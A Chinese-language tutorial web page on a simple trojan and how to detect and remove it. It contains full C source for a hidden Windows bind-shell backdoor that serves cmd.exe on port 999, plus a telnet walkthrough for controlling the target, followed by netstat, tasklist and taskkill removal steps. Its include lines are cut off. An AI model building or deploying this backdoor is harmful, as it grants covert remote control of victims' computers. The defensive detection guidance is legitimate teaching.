學(xué)習(xí)啦>學(xué)習(xí)電腦>電腦安全>病毒知識>

簡單木馬分析與防范

時間: 若木635 分享

  電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺已經(jīng)離不開電腦與網(wǎng)絡(luò),對于電腦安全防范,今天小編在這里給大家推薦一些電腦病毒與木馬防范相關(guān)文章,歡迎大家圍觀參考,想了解更多,請繼續(xù)關(guān)注學(xué)習(xí)啦。

  一、前言

  病毒與木馬技術(shù)發(fā)展到今天,由于二者總是相輔相成,你中有我,我中有你,所以它們之間的界限往往已經(jīng)不再那么明顯,相互之間往往都會采用對方的一些技術(shù)以達(dá)到自己的目的,所以現(xiàn)在很多時候也就將二者直接統(tǒng)稱為“惡意代碼”。這次我打算用兩篇文章的篇幅來討論病毒與簡單的木馬相互結(jié)合的分析與防范方法。本篇也就是第一篇,討論的是利用只有服務(wù)器端的木馬程序?qū)崿F(xiàn)“病毒”的啟動。而在下一篇中,我會討論既有服務(wù)器端又有客戶端的木馬程序與“病毒”相結(jié)合的分析與防范。

  二、簡單木馬的原理

  由于木馬技術(shù)與計算機網(wǎng)絡(luò)息息相關(guān),所以也就離不開Socket套接字編程。這里我不打算詳述Socket套接字編程的細(xì)節(jié),這個在MSDN上有非常詳細(xì)的講述,無非就是根據(jù)套接字的編程的流程,將相應(yīng)的內(nèi)容填入“模板”。而既然要實現(xiàn)通信的效果,就需要遵循一個通信模型,木馬一般都是C/S(客戶端/服務(wù)端)模式的。本篇文章所要論述的,雖然不涉及客戶端的編寫,但實際上我只不過是把cmd程序當(dāng)成了客戶端,因此本質(zhì)上還是C/S模式的。

  C/S模型的開發(fā),需要在服務(wù)器端(欲攻擊的計算機)上綁定一個IP地址和一個端口號,然后進(jìn)行監(jiān)聽,等待客戶端(攻擊方)的連接??蛻舳藙t是向相應(yīng)的IP地址和端口號發(fā)起連接,服務(wù)器端接受后,雙方就可以開始進(jìn)行通信,這就是基于TCP協(xié)議的通信,也是接下來要用到的方法。另外還有一種基于UDP協(xié)議的方法,這種方法是在服務(wù)器端進(jìn)行相應(yīng)的綁定后,客戶端不需要進(jìn)行連接直接就可以和服務(wù)器進(jìn)行通信??梢?,TCP要比UDP可靠,而UDP要比TCP效率高。

  本篇文章所論述的服務(wù)器端編程的基本原理如下:

  1、打開一通信通道(綁定某個端口)并告知本地主機,它在某一個地址上接收客戶請求。可以采用socket和bind函數(shù)實現(xiàn)。

  2、等待用戶請求到達(dá)該端口。利用listen函數(shù)實現(xiàn)。

  3、接收到服務(wù)請求,處理該請求并發(fā)送應(yīng)答信號。利用accept函數(shù)實現(xiàn)。

  4、返回第二步,等待其他客戶的請求。

  5、關(guān)閉連接。利用closesocket函數(shù)實現(xiàn)。

  以上所使用的函數(shù)順序如下:

  socket()→bind()→listen()→accept()→closesocket()

  三、木馬的編程實現(xiàn)

  當(dāng)服務(wù)器端運行這個程序后,客戶端可以利用telnet向服務(wù)器端發(fā)起連接,成功后自動打開cmd窗口,就可以通過DOS命令來直接控制服務(wù)器端的目標(biāo)計算機,代碼如下:

  #pragma comment(lib,"ws2_32.lib") #include

  #include #define MasterPort 999 //欲利用的端口號

  int main()

  { WSADATA WSADa;

  sockaddr_in SockAddrIn; SOCKET CSocket,SSocket;

  int iAddrSize; PROCESS_INFORMATION ProcessInfo;

  STARTUPINFO StartupInfo; char szCMDPath[255];

  //初始化數(shù)據(jù)

  ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));

  ZeroMemory(&WSADa,sizeof(WSADATA)); //獲取CMD路徑

  GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));

  //加載ws2_32.dll WSAStartup(0x0202,&WSADa);

  //設(shè)置本地信息和綁定協(xié)議,建立Socket SockAddrIn.sin_family = AF_INET;

  SockAddrIn.sin_addr.S_un.S_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort);

  CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //設(shè)置綁定端口999

  bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn)); //設(shè)置服務(wù)器端監(jiān)聽端口

  listen(CSocket,1); iAddrSize = sizeof(SockAddrIn);

  //開始連接遠(yuǎn)程服務(wù)器,并配置隱藏窗口結(jié)構(gòu)體

  SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize); StartupInfo.cb = sizeof(STARTUPINFO);

  StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

  StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket;

  StartupInfo.hStdError = (HANDLE)SSocket; //創(chuàng)建匿名管道

  CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess,INFINITE);

  //關(guān)閉進(jìn)程句柄

  CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread);

  //關(guān)閉套接字 closesocket(CSocket);

  closesocket(SSocket); //釋放ws2_32.dll動態(tài)鏈接庫

  WSACleanup();

  return 0; }

  由于代碼比較簡單,這里不再進(jìn)行分析。

  四、木馬與“病毒”的結(jié)合利用

  之前文章所討論的“病毒”的自啟動方式,都是需要借助于“外力”作用,而這次我的“病毒”則是通過植入木馬,連接成功后輸入DOS命令來啟動,但是前提是木馬需要先啟動。這里我用了兩臺計算機(也可以使用虛擬機),一臺是客戶端,一臺是服務(wù)器端,服務(wù)器端已經(jīng)放置了木馬程序,現(xiàn)在就在服務(wù)器端執(zhí)行該木馬。之后在客戶端中打開cmd程序,輸入:

  [plain] view plaincopy

  telnet 192.168.1.107 999

  這句命令的意思是通過telnet進(jìn)行遠(yuǎn)程登錄,連接到ip地址為192.168.1.107的計算機上的999號端口。成功后就可以發(fā)現(xiàn)已經(jīng)連接到了對方的計算機上:

  那么此時就可以通過DOS命令對目標(biāo)計算機進(jìn)行控制。這里假設(shè)目標(biāo)計算機的E盤根目錄下保存有我之前編寫的Hacked.exe程序,那么可以通過輸入如下命令進(jìn)行運行:

  [sql] view plaincopy

  start e:\hacked.exe

  此時Hacked.exe程序已經(jīng)在目標(biāo)計算機上執(zhí)行,顯示如下:

  當(dāng)然,我這里是假設(shè)Hacked.exe已放入對方的電腦,這個前提會有諸多的限制,因為更好的方法是將Hacked.exe程序由客戶端傳到服務(wù)器端再進(jìn)行啟動。不過,由于這個方法比較危險,為了避免別有用心的人拿它去做不軌的事情,因此不再深入討論。我的原則始終是以討論如何更好地防范惡意程序為主,而對于惡意代碼的實現(xiàn),也就是點到為止。無需多加討論的,堅決不進(jìn)行深入探討。

  五、木馬的查殺

  上述代碼所實現(xiàn)的是一個比較簡單的正向連接后門程序,并沒有添加進(jìn)程隱藏功能,也沒有增加啟動項目,也就是說,當(dāng)服務(wù)器端計算機重新啟動后,這個木馬就失效了,需要重新運行才可以。我這里講講如何手動查殺。當(dāng)服務(wù)器端被植入木馬后,服務(wù)器端可以進(jìn)入cmd(若cmd被映像劫持可參考我之前的文章),然后輸入命令:

  [plain] view plaincopy

  netstat –ano

  這個命令可以查看當(dāng)前的網(wǎng)絡(luò)連接狀態(tài),如圖所示:

  在圖中可以看到,本地端口999與IP地址為192.168.1.104的主機建立了TCP連接,而且也可以看到進(jìn)程的ID值為1292(每次啟動木馬的PID值可能不一樣)。對于一般的木馬來說,在命令提示符下就可以實現(xiàn)“查”的操作,隨著以后討論的深入,木馬復(fù)雜度會不斷加深,我可能會使用專業(yè)查殺工具或者采用自制的工具實現(xiàn)“查”的功能。

  利用PID值可以查看進(jìn)程的文件名,輸入:

  [plain] view plaincopy

  tasklist | find “1292”

  就可以知道PID值為1292的進(jìn)程的名稱為“MiniTrojan.exe”。之后使用PID值就能夠?qū)⒛抉R進(jìn)程從計算機中刪除,這里用taskkill命令:

  [plain] view plaincopy

  taskkill /f /pid 1292 /t

  這句命令的意思是,強制(/f)終止PID值為1292 的進(jìn)程和任何由此啟動的進(jìn)程(/t)。最后一步是找到MiniTrojan.exe的位置,并刪除,就能夠徹底將木馬趕出計算機了,這里不再贅述。

  六、小結(jié)

  這篇文章所講的木馬程序需要在cmd下運行,盡管遠(yuǎn)不如圖形界面直觀,但是這小小的木馬,也能夠造成很大的威脅了。不過,這畢竟是一匹“小馬”,采用簡單的DOS命令就能夠查殺,還是很好對付的。其實手動查殺病毒木馬的流程就是這樣,查木馬病毒往往需要經(jīng)驗,需要敏銳的嗅覺,之后的“殺”的階段,需要先把病毒木馬的進(jìn)程結(jié)束掉,然后才能刪掉其主程序。即便是復(fù)雜的惡意程序,基本上也是這個原理。

簡單木馬分析與防范

電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺已經(jīng)離不開電腦與網(wǎng)絡(luò),對于電腦安全防范,今天小編在這里給大家推薦一些電腦病毒與木馬防范相關(guān)文章,歡迎大家圍觀參考,想了解更多,請繼續(xù)關(guān)注學(xué)習(xí)啦。 一、前言 病毒與木馬技術(shù)
推薦度:
點擊下載文檔文檔為doc格式

精選文章

  • 怎樣利用簡單程序漏洞反病毒
    怎樣利用簡單程序漏洞反病毒

    電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺已經(jīng)離不開電腦與網(wǎng)絡(luò),對于電腦病毒,今天小編在這里給大家推薦一些預(yù)防電腦病毒相關(guān)文章,

  • 什么是電腦病毒
    什么是電腦病毒

    電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺已經(jīng)離不開電腦與網(wǎng)絡(luò),對于電腦的一些排殺病毒,今天小編在這里給大家推薦一些防止電腦病毒

  • 病毒有什么特點
    病毒有什么特點

    電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺已經(jīng)離不開電腦與網(wǎng)絡(luò),對于電腦的一些排殺病毒,今天小編在這里給大家推薦一些防止電腦病毒

  • 病毒的傳播途徑
    病毒的傳播途徑

    電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺已經(jīng)離不開電腦與網(wǎng)絡(luò),對于電腦的一些排殺病毒,今天小編在這里給大家推薦一些防止電腦病毒

95165